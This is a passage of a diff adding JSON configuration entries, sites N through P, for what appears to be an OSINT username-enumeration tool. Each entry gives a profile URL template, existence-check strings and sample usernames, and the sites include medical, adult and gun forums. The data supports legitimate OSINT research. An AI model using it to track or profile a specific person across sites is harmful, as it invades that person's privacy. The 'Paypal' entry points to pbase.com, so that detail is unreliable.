"https://www.npmjs.com/~{username}", + "usernameClaimed": "kennethsweezy", + "usernameUnclaimed": "noonewould" + }, + "NPM-Package": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 5944, + "urlMain": "https://www.npmjs.com/", + "url": "https://www.npmjs.com/package/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nairaland Forum": { + "tags": [ + "ng" + ], + "checkType": "message", + "presenseStrs": [ + "Time registered" + ], + "absenceStrs": [ + "404: Page Not Found." + ], + "alexaRank": 1060, + "urlMain": "https://www.nairaland.com/", + "url": "https://www.nairaland.com/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NameMC": { + "tags": [ + "us" + ], + "regexCheck": "^.{3,16}$", + "checkType": "message", + "presenseStrs": [ + "Minecraft Profile" + ], + "absenceStrs": [ + "row align-items-center" + ], + "alexaRank": 11172, + "urlMain": "https://namemc.com/", + "url": "https://namemc.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Namepros": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 10494, + "urlMain": "https://www.namepros.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NationStates Nation": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "Was this your nation? It may have ceased to exist due to inactivity, but can rise again!" + ], + "alexaRank": 76848, + "urlMain": "https://nationstates.net", + "url": "https://nationstates.net/nation={username}", + "usernameClaimed": "the_holy_principality_of_saint_mark", + "usernameUnclaimed": "noonewould" + }, + "NationStates Region": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "does not exist." + ], + "alexaRank": 76848, + "urlMain": "https://nationstates.net", + "url": "https://nationstates.net/region={username}", + "usernameClaimed": "the_west_pacific", + "usernameUnclaimed": "noonewould" + }, + "NationalgunForum": { + "disabled": true, + "tags": [ + "ca", + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 939645, + "urlMain": "https://www.nationalgunforum.com", + "url": "https://www.nationalgunforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Naturalworld": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 287413, + "urlMain": "https://naturalworld.guru", + "url": "https://naturalworld.guru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "mrseo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Naver": { + "tags": [ + "kr" + ], + "checkType": "status_code", + "alexaRank": 40, + "urlMain": "https://naver.com", + "url": "https://blog.naver.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "Needrom": { + "checkType": "status_code", + "url": "https://www.needrom.com/author/{username}/", + "usernameClaimed": "needrom", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nekto": { + "tags": [ + "pt", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "response_url", + "alexaRank": 68127, + "urlMain": "https://nekto.me", + "url": "https://nekto.me/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Neoseeker": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15939, + "urlMain": "https://www.neoseeker.com", + "url": "https://www.neoseeker.com/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nesiditsa": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 121651, + "urlMain": "https://nesiditsa.ru", + "url": "https://nesiditsa.ru/members/{username}/", + "usernameClaimed": "lara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Netvibes": { + "tags": [ + "business", + "fr" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 5730, + "headers": { + "User-Agent": "curl/7.64.1" + }, + "urlMain": "https://www.netvibes.com", + "url": "https://www.netvibes.com/{username}#General", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NetworkInformatica": { + "tags": [ + "tech" + ], + "errors": { + "The site is undergoing planned maintenance activity and is unavailable temporarily.": "Maintenance" + }, + "checkType": "status_code", + "alexaRank": 25661, + "urlMain": "https://network.informatica.com", + "url": "https://network.informatica.com/people/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Newgrounds": { + "absenceStrs": [ + "icon-steam" + ], + "presenseStrs": [ + "user-header-name" + ], + "url": "https://{username}.newgrounds.com", + "urlMain": "https://newgrounds.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 5584, + "tags": [ + "art", + "forum", + "gaming" + ] + }, + "Newreporter": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 246874, + "urlMain": "https://newreporter.org", + "url": "https://newreporter.org/author/{username}/", + "usernameClaimed": "lilya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nhl": { + "tags": [ + "by", + "cn", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 29704, + "urlMain": "https://nhl.ru", + "url": "https://nhl.ru/talks/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Nick-name.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 286897, + "urlMain": "https://nick-name.ru/", + "url": "https://nick-name.ru/nickname/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Niketalk": { + "ignore403": true, + "tags": [ + "fashion", + "forum", + "sport", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 214717, + "urlMain": "https://niketalk.com", + "url": "https://niketalk.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nixp": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1754765, + "urlMain": "https://www.nixp.ru/", + "url": "https://www.nixp.ru/user/{username}", + "usernameClaimed": "fly4life", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nkj": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 72346, + "urlMain": "https://www.nkj.ru/", + "url": "https://www.nkj.ru/forum/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "No-jus": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 9593539, + "urlMain": "https://no-jus.com", + "url": "https://no-jus.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "dronaz", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Noblogs": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-personal-li" + ], + "alexaRank": 113696, + "urlMain": "https://noblogs.org/", + "url": "https://noblogs.org/members/{username}/", + "usernameClaimed": "ushi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NotebookReview": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 48788, + "urlMain": "http://forum.notebookreview.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Numizmat": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://numizmat-forum.ru", + "url": "https://numizmat-forum.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solo", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7081718 + }, + "NuviGarmin": { + "disabled": true, + "tags": [ + "forum", + "ru", + "shopping" + ], + "checkType": "message", + "alexaRank": 8450923, + "urlMain": "https://nuvi.ru/", + "url": "https://nuvi.ru/forum/user/{username}/", + "usernameClaimed": "VitaliyK", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nxp": { + "tags": [ + "be", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No search results found." + ], + "alexaRank": 27704, + "urlMain": "https://community.nxp.com", + "url": "https://community.nxp.com/t5/forums/searchpage/tab/user?advanced=false&auto_complete=false&q={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nyaa.si": { + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "'s torrents" + ], + "url": "https://nyaa.si/user/{username}", + "usernameClaimed": "kouhy76", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nygunforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1069970, + "urlMain": "https://nygunforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OK": { + "tags": [ + "ru" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_.-]*$", + "checkType": "status_code", + "alexaRank": 57, + "urlMain": "https://ok.ru/", + "url": "https://ok.ru/{username}", + "usernameClaimed": "ok", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Office-forums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 373573, + "urlMain": "https://www.office-forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Offline.by": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 5846394, + "urlMain": "https://offline.by", + "usernameClaimed": "violetta", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oglaszamy24h": { + "checkType": "message", + "absenceStrs": [ + "Nieprawid\u0142owy link, w bazie danych nie istnieje u\u017cytkownik o podanym loginie" + ], + "presenseStrs": [ + "Profil u\u017cytkownika:" + ], + "url": "https://oglaszamy24h.pl/profil,{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oilcareer": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.oilcareer.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2233070 + }, + "Old-games": { + "tags": [ + "pt", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 104566, + "urlMain": "https://www.old-games.ru", + "url": "https://www.old-games.ru/forum/members/?username={username}", + "usernameClaimed": "viktort", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Olx.pl": { + "checkType": "message", + "absenceStrs": [ + "Przepraszamy, ale nie mo\u017cemy znale\u017a\u0107 takiej strony...", + "Nie znaleziono" + ], + "presenseStrs": [ + "Obserwuj wyszukiwanie" + ], + "url": "https://www.olx.pl/oferty/uzytkownik/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Omoimot": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 819273, + "urlMain": "https://omoimot.ru/", + "url": "https://omoimot.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OnanistovNet": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 160941, + "urlMain": "https://onanistov.net", + "url": "https://onanistov.net/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oncoforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "response_url", + "alexaRank": 427409, + "urlMain": "https://www.oncoforum.ru", + "url": "https://www.oncoforum.ru/blog/blogs/{username}/", + "usernameClaimed": "admin13", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Opelclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2894643, + "urlMain": "http://www.opelclub.ru", + "url": "http://www.opelclub.ru/forum/search.html?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OpenCollective": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Not found" + ], + "presenseStrs": [ + "Hero__StyledShortDescription" + ], + "alexaRank": 33595, + "urlMain": "https://opencollective.com/", + "url": "https://opencollective.com/{username}", + "usernameClaimed": "sindresorhus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OpenStreetMap": { + "tags": [ + "maps" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 5487, + "urlMain": "https://www.openstreetmap.org/", + "url": "https://www.openstreetmap.org/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oper": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 14170, + "urlMain": "https://www.oper.ru/", + "url": "https://www.oper.ru/visitors/info.php?t={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oracle Community": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 464, + "urlMain": "https://community.oracle.com", + "url": "https://community.oracle.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otechie": { + "tags": [ + "finance", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Start Conversation" + ], + "absenceStrs": [ + "Page not found!" + ], + "alexaRank": 1547027, + "urlMain": "https://otechie.com", + "url": "https://otechie.com/{username}", + "usernameClaimed": "neurobin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otzovik": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1785, + "urlMain": "https://otzovik.com/", + "url": "https://otzovik.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otzyvy": { + "tags": [ + "ru" + ], + "errors": { + "https://otzyvy.pro/captchacheck.php": "Site captcha" + }, + "checkType": "status_code", + "alexaRank": 90966, + "urlMain": "https://otzyvy.pro", + "url": "https://otzyvy.pro/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OurDJTalk": { + "engine": "XenForo", + "alexaRank": 1684108, + "urlMain": "https://ourdjtalk.com/", + "usernameClaimed": "steve", + "usernameUnclaimed": "noonewouldeverusethis", + "tags": [ + "forum", + "music" + ] + }, + "Ourfreedombook": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "presenseStrs": [ + "meta property=\"og:" + ], + "url": "https://www.ourfreedombook.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Outgress": { + "checkType": "message", + "absenceStrs": [ + "Outgress - Error" + ], + "url": "https://outgress.com/agents/{username}", + "urlMain": "https://outgress.com/", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Overclockers": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 25200, + "urlMain": "https://overclockers.ru", + "url": "https://overclockers.ru/cpubase/user/{username}", + "usernameClaimed": "Rasamaha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ow.ly": { + "checkType": "message", + "absenceStrs": [ + "Oops, an error occurred" + ], + "presenseStrs": [ + "Images" + ], + "url": "http://ow.ly/user/{username}", + "usernameClaimed": "StopAdMedia", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "P38forum": { + "urlSubpath": "/forums", + "engine": "vBulletin", + "urlMain": "http://p38forum.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 8436107 + }, + "PCGamer": { + "tags": [ + "gaming", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1367, + "urlMain": "https://pcgamer.com", + "url": "https://forums.pcgamer.com/members/?username={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PCPartPicker": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 4619, + "urlMain": "https://pcpartpicker.com", + "url": "https://pcpartpicker.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PRCY": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 21010, + "urlMain": "https://id.pr-cy.ru", + "url": "https://id.pr-cy.ru/user/profile/{username}/#/profile", + "usernameClaimed": "Elena", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PSNProfiles.com": { + "tags": [ + "gaming" + ], + "checkType": "response_url", + "alexaRank": 19795, + "urlMain": "https://psnprofiles.com/", + "url": "https://psnprofiles.com/{username}", + "errorUrl": "https://psnprofiles.com/?psnId={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "disabled": true + }, + "Packagist": { + "tags": [ + "in", + "jp" + ], + "checkType": "response_url", + "alexaRank": 10849, + "urlMain": "https://packagist.org/", + "url": "https://packagist.org/packages/{username}/", + "errorUrl": "https://packagist.org/search/?q={username}&reason=vendor_not_found", + "usernameClaimed": "psr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PacketStormSecurity": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Files: All Authors ≈ Packet Storm", + "No Results Found" + ], + "alexaRank": 84296, + "urlMain": "https://packetstormsecurity.com", + "url": "https://packetstormsecurity.com/files/authors/{username}/", + "usernameClaimed": "3nitro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Painters-online": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "alexaRank": 1800109, + "urlMain": "https://www.painters-online.co.uk", + "url": "https://www.painters-online.co.uk/artists/{username}/", + "usernameClaimed": "alanbickley", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Paltalk": { + "tags": [ + "sa", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "

    Sorry, the profile you were looking for was not found

    " + ], + "presenseStrs": [ + ">Member since" + ], + "alexaRank": 29905, + "urlMain": "https://www.paltalk.com", + "url": "https://www.paltalk.com/people/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pandia": { + "tags": [ + "news", + "ru" + ], + "checkType": "status_code", + "alexaRank": 7801, + "urlMain": "https://pandia.ru", + "url": "https://pandia.ru/user/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Parkrocker": { + "tags": [ + "de", + "forum" + ], + "engine": "XenForo", + "urlMain": "https://www.parkrocker.net", + "usernameClaimed": "diablo0106", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5359908 + }, + "Partyflock": { + "tags": [ + "in", + "nl" + ], + "checkType": "status_code", + "alexaRank": 564516, + "urlMain": "https://partyflock.nl", + "url": "https://partyflock.nl/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Partyvibe": { + "disabled": true, + "tags": [ + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 1234848, + "urlMain": "https://www.partyvibe.org", + "url": "https://www.partyvibe.org/members/{username}/", + "usernameClaimed": "p0ly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pastebin": { + "tags": [ + "sharing" + ], + "checkType": "response_url", + "alexaRank": 2111, + "urlMain": "https://pastebin.com/", + "url": "https://pastebin.com/u/{username}", + "errorUrl": "https://pastebin.com/index", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pathofexile": { + "tags": [ + "ru", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile-details" + ], + "absenceStrs": [ + "Path of Exile" + ], + "alexaRank": 2392, + "urlMain": "https://ru.pathofexile.com", + "url": "https://ru.pathofexile.com/account/view-profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PatientsLikeMe": { + "tags": [ + "medicine", + "us" + ], + "checkType": "response_url", + "alexaRank": 178551, + "urlMain": "https://www.patientslikeme.com", + "url": "https://www.patientslikeme.com/members/{username}", + "usernameClaimed": "fabu007", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Patreon": { + "tags": [ + "finance" + ], + "checkType": "status_code", + "alexaRank": 304, + "urlMain": "https://www.patreon.com/", + "url": "https://www.patreon.com/{username}", + "usernameClaimed": "annetlovart", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Patronite": { + "checkType": "message", + "absenceStrs": [ + "Nie znale\u017ali\u015bmy strony kt\u00f3rej szukasz." + ], + "presenseStrs": [ + "Zosta\u0144 Patronem" + ], + "url": "https://patronite.pl/{username}", + "usernameClaimed": "radio357", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Paypal": { + "tags": [ + "finance" + ], + "checkType": "message", + "absenceStrs": [ + "PayPal.Me" + ], + "alexaRank": 13325, + "urlMain": "https://pbase.com/", + "url": "https://pbase.com/{username}/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pbnation": { + "ignore403": true, + "disabled": true, + "tags": [ + "ca", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered" + ], + "alexaRank": 110875, + "urlMain": "https://www.pbnation.com/", + "url": "https://www.pbnation.com/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pedsovet": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7272, + "urlMain": "https://pedsovet.su/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PeopleAndCountries": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1258464, + "urlMain": "http://peopleandcountries.com", + "url": "http://peopleandcountries.com/space-username-{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PeopleIgn": { + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "title>IGN Error 404 - Not Found" + ], + "alexaRank": 542, + "urlMain": "https://people.ign.com/", + "url": "https://people.ign.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pepper": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "title>\u041e\u0448\u0438\u0431\u043a\u0430!Perfect World" + ], + "alexaRank": 49, + "urlMain": "https://pw.mail.ru", + "url": "https://pw.mail.ru/member.php?username={username}", + "usernameClaimed": "Wedm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PerfectWorldForum": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://pw.mail.ru/", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Periscope": { + "disabled": true, + "tags": [ + "streaming", + "us", + "video" + ], + "checkType": "status_code", + "alexaRank": 58873, + "urlMain": "https://www.periscope.tv/", + "url": "https://www.periscope.tv/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pesiq": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 256808, + "urlMain": "http://pesiq.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pewex.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza eksponaty od:" + ], + "url": "https://retro.pewex.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pgpru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043e\u0431\u0449\u0435\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443." + ], + "alexaRank": 4474323, + "urlMain": "http://www.pgpru.com/", + "url": "http://www.pgpru.com/proekt/poljzovateli?profile={username}", + "usernameClaimed": "Onix", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Photobucket": { + "disabled": true, + "tags": [ + "photo", + "us" + ], + "regexCheck": "\\w{4,32}", + "checkType": "message", + "requestHeadOnly": true, + "absenceStrs": [ + "Found. Redirecting" + ], + "alexaRank": 3012, + "urlMain": "https://photobucket.com/", + "url": "https://app.photobucket.com/u/{username}", + "usernameClaimed": "onlinecomicbookstore", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Phrack": { + "checkType": "status_code", + "alexaRank": 1076320, + "urlMain": "http://phrack.org", + "url": "http://phrack.org/author_{username}.html", + "usernameClaimed": "Dispater", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Physicsforums": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 20840, + "urlMain": "https://www.physicsforums.com", + "url": "https://www.physicsforums.com/members/?username={username}", + "usernameClaimed": "zap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Picsart": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 8904, + "urlMain": "https://picsart.com/", + "url": "https://picsart.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Picuki": { + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "Error 500", + "Error 404", + "Checking if the site connection is secure" + ], + "alexaRank": 2255, + "urlMain": "https://www.picuki.com/", + "url": "https://www.picuki.com/profile/{username}", + "source": "Instagram", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Piekielni": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza historie od:" + ], + "url": "https://piekielni.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pilguy": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1587212, + "urlMain": "https://pilguy.com", + "usernameClaimed": "zaw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinboard": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 35914, + "urlMain": "http://pinboard.in", + "url": "http://pinboard.in/u:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinkbike": { + "tags": [ + "hobby", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 9499, + "urlMain": "https://www.pinkbike.com/", + "url": "https://www.pinkbike.com/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinme": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 113042, + "urlMain": 